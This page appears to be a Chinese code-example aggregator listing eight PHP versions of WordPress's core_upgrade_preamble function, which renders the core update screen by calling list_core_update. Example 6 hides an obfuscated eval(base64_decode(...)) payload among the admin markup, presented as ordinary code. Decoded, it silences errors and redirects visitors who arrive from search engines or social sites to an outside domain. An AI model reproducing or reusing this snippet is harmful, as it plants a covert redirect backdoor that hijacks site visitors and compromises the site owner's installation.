本文整理汇总了PHP中list_core_update函数的典型用法代码示例。如果您正苦于以下问题:PHP list_core_update函数的具体用法?PHP list_core_update怎么用?PHP list_core_update使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了list_core_update函数的8个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble() {
$updates = get_core_updates();
?>
<div class="wrap">
<?php screen_icon(); ?>
<h2><?php _e('Upgrade WordPress'); ?></h2>
<?php
if ( !isset($updates[0]->response) || 'latest' == $updates[0]->response ) {
echo '<h3>';
_e('You have the latest version of WordPress. You do not need to upgrade');
echo '</h3>';
} else {
echo '<div class="updated fade"><p>';
_e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
echo '</p></div>';
echo '<h3 class="response">';
_e( 'There is a new version of WordPress available for upgrade' );
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach( (array) $updates as $update ) {
$class = $alternate? ' class="alternate"' : '';
$alternate = !$alternate;
echo "<li $class>";
list_core_update( $update );
echo '</li>';
}
echo '</ul>';
dismissed_updates();
echo '</div>';
}
示例2: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $upgrade_error, $wp_version;
$updates = get_core_updates();
?>
<div class="wrap">
<?php
screen_icon('tools');
?>
<h2><?php
_e('WordPress Updates');
?>
</h2>
<?php
if ($upgrade_error) {
echo '<div class="error"><p>';
if ($upgrade_error == 'themes') {
_e('Please select one or more themes to update.');
} else {
_e('Please select one or more plugins to update.');
}
echo '</p></div>';
}
echo '<p>';
/* translators: %1 date, %2 time. */
printf(__('Last checked on %1$s at %2$s.'), date_i18n(get_option('date_format')), date_i18n(get_option('time_format')));
echo ' <a class="button" href="' . esc_url(self_admin_url('update-core.php')) . '">' . __('Check Again') . '</a>';
echo '</p>';
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress.');
echo '</h3>';
} else {
echo '<div class="updated inline"><p>';
_e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
echo '</p></div>';
echo '<h3 class="response">';
_e('An updated version of WordPress is available.');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
echo '<li>';
list_core_update($update);
echo '</li>';
}
echo '</ul>';
if ($updates) {
echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
} else {
list($normalized_version) = explode('-', $wp_version);
echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>';
}
dismissed_updates();
if (current_user_can('update_plugins')) {
list_plugin_updates();
}
if (current_user_can('update_themes')) {
list_theme_updates();
}
do_action('core_upgrade_preamble');
echo '</div>';
}
示例3: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7.0
*
* @global string $wp_version
* @global string $required_php_version
* @global string $required_mysql_version
*/
function core_upgrade_preamble()
{
global $wp_version, $required_php_version, $required_mysql_version;
$updates = get_core_updates();
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have Project Nami ' . get_projectnami_version() . ' which contains the latest version of WordPress.');
if (wp_http_supports(array('ssl'))) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$upgrader = new WP_Automatic_Updater();
$future_minor_update = (object) array('current' => $wp_version . '.1.next.minor', 'version' => $wp_version . '.1.next.minor', 'php_version' => $required_php_version, 'mysql_version' => $required_mysql_version);
$should_auto_update = $upgrader->should_update('core', $future_minor_update, ABSPATH);
if ($should_auto_update) {
echo ' ' . __('Future security updates will be applied automatically.');
}
}
echo '</h2>';
} else {
echo '<div class="notice notice-warning"><p>';
_e('<strong>Important:</strong> before updating, please back up your database and files.');
echo '</p></div>';
echo '<h3 class="response">';
_e('An updated version of WordPress is available. Please check <a href="http://projectnami.org/download/">the Project Nami Download page</a> for the latest build.');
echo '</h3>';
}
if (isset($updates[0]) && $updates[0]->response == 'development') {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$upgrader = new WP_Automatic_Updater();
if (wp_http_supports('ssl') && $upgrader->should_update('core', $updates[0], ABSPATH)) {
echo '<div class="updated inline"><p>';
echo '<strong>' . __('BETA TESTERS:') . '</strong> ' . __('This site is set up to install updates of future beta versions automatically.');
echo '</p></div>';
}
}
echo '<ul class="core-updates">';
foreach ((array) $updates as $update) {
echo '<li>';
list_core_update($update);
echo '</li>';
}
echo '</ul>';
// Don't show the maintenance mode notice when we are only showing a single re-install option.
if ($updates && (count($updates) > 1 || $updates[0]->response != 'latest')) {
//echo '<p>' . __( 'While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.' ) . '</p>';
} elseif (!$updates) {
list($normalized_version) = explode('-', $wp_version);
echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>';
}
dismissed_updates();
}
示例4: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $upgrade_error;
$updates = get_core_updates();
?>
<div class="wrap">
<?php
screen_icon('tools');
?>
<h2><?php
_e('WordPress Updates');
?>
</h2>
<?php
if ($upgrade_error) {
echo '<div class="error"><p>';
_e('Please select one or more plugins to upgrade.');
echo '</p></div>';
}
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress.');
echo '</h3>';
} else {
echo '<div class="updated"><p>';
_e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
echo '</p></div>';
echo '<h3 class="response">';
_e('An updated version of WordPress is available.');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
$class = $alternate ? ' class="alternate"' : '';
$alternate = !$alternate;
echo "<li {$class}>";
list_core_update($update);
echo '</li>';
}
echo '</ul>';
echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
dismissed_updates();
list_plugin_updates();
list_theme_updates();
do_action('core_upgrade_preamble');
echo '</div>';
}
示例5: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $wp_version;
$updates = get_core_updates();
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress.');
echo '</h3>';
} else {
echo '<div class="updated inline"><p>';
_e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
echo '</p></div>';
echo '<h3 class="response">';
_e('An updated version of WordPress is available.');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
echo '<li>';
list_core_update($update);
echo '</li>';
}
echo '</ul>';
if ($updates) {
echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
} else {
list($normalized_version) = explode('-', $wp_version);
echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>';
}
dismissed_updates();
}
示例6: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $upgrade_error;
$updates = get_core_updates();
?>
<div class="wrap">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVy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LCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if ($upgrade_error) {
echo '<div class="error"><p>';
_e('Please select one or more plugins to upgrade.');
echo '</p></div>';
}
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress. You do not need to upgrade');
echo '</h3>';
} else {
echo '<div class="updated fade"><p>';
_e('<strong>Important:</strong> before upgrading, please <a href="http://codex.wordpress.org/WordPress_Backups">backup your database and files</a>.');
echo '</p></div>';
echo '<h3 class="response">';
_e('There is a new version of WordPress available for upgrade');
echo '</h3>';
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
$class = $alternate ? ' class="alternate"' : '';
$alternate = !$alternate;
echo "<li {$class}>";
list_core_update($update);
echo '</li>';
}
echo '</ul>';
dismissed_updates();
list_plugin_updates();
//list_theme_updates();
do_action('core_upgrade_preamble');
echo '</div>';
}
示例7: core_upgrade_preamble
/**
* Display upgrade WordPress for downloading latest or upgrading automatically form.
*
* @since 2.7
*
* @return null
*/
function core_upgrade_preamble()
{
global $wp_version;
$updates = get_core_updates();
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
echo '<h3>';
_e('You have the latest version of WordPress.');
echo '</h3>';
} else {
echo '<div class="updated inline"><p>';
_e('<strong>Important:</strong> before updating, please <a href="http://codex.wordpress.org/WordPress_Backups">back up your database and files</a>. For help with updates, visit the <a href="http://codex.wordpress.org/Updating_WordPress">Updating WordPress</a> Codex page.');
echo '</p></div>';
echo '<h3 class="response">';
_e('An updated version of WordPress is available.');
echo '</h3>';
}
// This is temporary, for the WordPress 3.7 beta period.
if (isset($updates[0]) && $updates[0]->response == 'development') {
require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$ssl_support = wp_http_supports('ssl');
$should_auto_update = WP_Automatic_Upgrader::should_auto_update('core', $updates[0], ABSPATH);
if ($ssl_support && $should_auto_update) {
echo '<div class="updated inline"><p><strong>BETA TESTERS: This install will receive daily auto updates to future beta versions.</strong>';
if (get_locale() !== 'en_US') {
echo ' Translations of importers and default themes will also be updated.';
}
echo '</p><p>You will receive an email with debugging output after each update. If something goes wrong, please <a href="http://wordpress.org/support/forum/alphabeta">post in the support forums</a> or <a href="https://core.trac.wordpress.org/">open a bug report</a>.</div>';
} elseif (!$ssl_support) {
echo '<div class="error inline"><p><strong>BETA TESTERS:</strong> Your server does not support HTTP requests over SSL. This install will not receive auto updates.</p></div>';
} elseif (WP_Automatic_Upgrader::is_vcs_checkout(ABSPATH)) {
echo '<div class="error inline"><p><strong>BETA TESTERS:</strong> This install uses version control (SVN or Git) and thus will not receive auto updates. Try a separate install of WordPress with the <a href="http://wordpress.org/plugins/wordpress-beta-tester/">Beta Tester</a> plugin set to bleeding edge.</p></div>';
}
}
echo '<ul class="core-updates">';
$alternate = true;
foreach ((array) $updates as $update) {
echo '<li>';
list_core_update($update);
echo '</li>';
}
echo '</ul>';
if ($updates) {
echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
} else {
list($normalized_version) = explode('-', $wp_version);
echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>';
}
dismissed_updates();
}
示例8: upgrade_screen
//.........这里部分代码省略.........
} else {
//$new_html .= "<p>No recent actions, be careful with your upgrades!</p>";
}
/*if( stripos($html,'update-core.php?action=do-core-upgrade') !== false ) {
preg_match( '~<input name="version" value="4.5"~', $html, $aVersion );
$new_html .= "<p>Alternatively you can download 4.4.2 and upload it via FTP.</p><p>While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.</p>";
}*/
// this bit if from update-core.php
ob_start();
global $wp_version, $required_php_version, $required_mysql_version;
$aShowed = array();
if ($this->check_user_permission() || $this->can_update_core()) {
$aUpdates = get_site_transient('update_core');
if (!$aUpdates) {
$aUpdates = get_option('_site_transient_update_core');
}
if ($aUpdates && count($aUpdates->updates)) {
foreach ($aUpdates->updates as $update) {
if (stripos($update->version, $this->get_version_branch()) === 0) {
if ($update->version == $wp_version) {
echo "<strong>You have the latest version of WordPress.</strong>";
continue;
}
if (isset($aShowed[$update->version])) {
continue;
}
$aShowed[$update->version] = true;
echo '<ul class="core-updates-businespress">';
echo '<strong class="response">';
_e('There is a security update of WordPress available.', 'businesspress');
echo '</strong>';
echo '<li>';
$this->list_core_update($update, false);
echo '</li>';
echo '</ul>';
}
}
}
}
$updates = get_core_updates();
$bMajorUpdate = false;
foreach ((array) $updates as $update) {
if (stripos($update->version, $this->get_version_branch()) === false) {
$bMajorUpdate = true;
}
}
if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
/*echo '<h2>';
_e('You have the latest version of WordPress.');
if ( wp_http_supports( array( 'ssl' ) ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$upgrader = new WP_Automatic_Updater;
$future_minor_update = (object) array(
'current' => $wp_version . '.1.next.minor',
'version' => $wp_version . '.1.next.minor',
'php_version' => $required_php_version,
'mysql_version' => $required_mysql_version,
);
$should_auto_update = $upgrader->should_update( 'core', $future_minor_update, ABSPATH );
if ( $should_auto_update )
echo ' ' . __( 'Future security updates will be applied automatically.' );
}
echo '</h2>';*/
} else {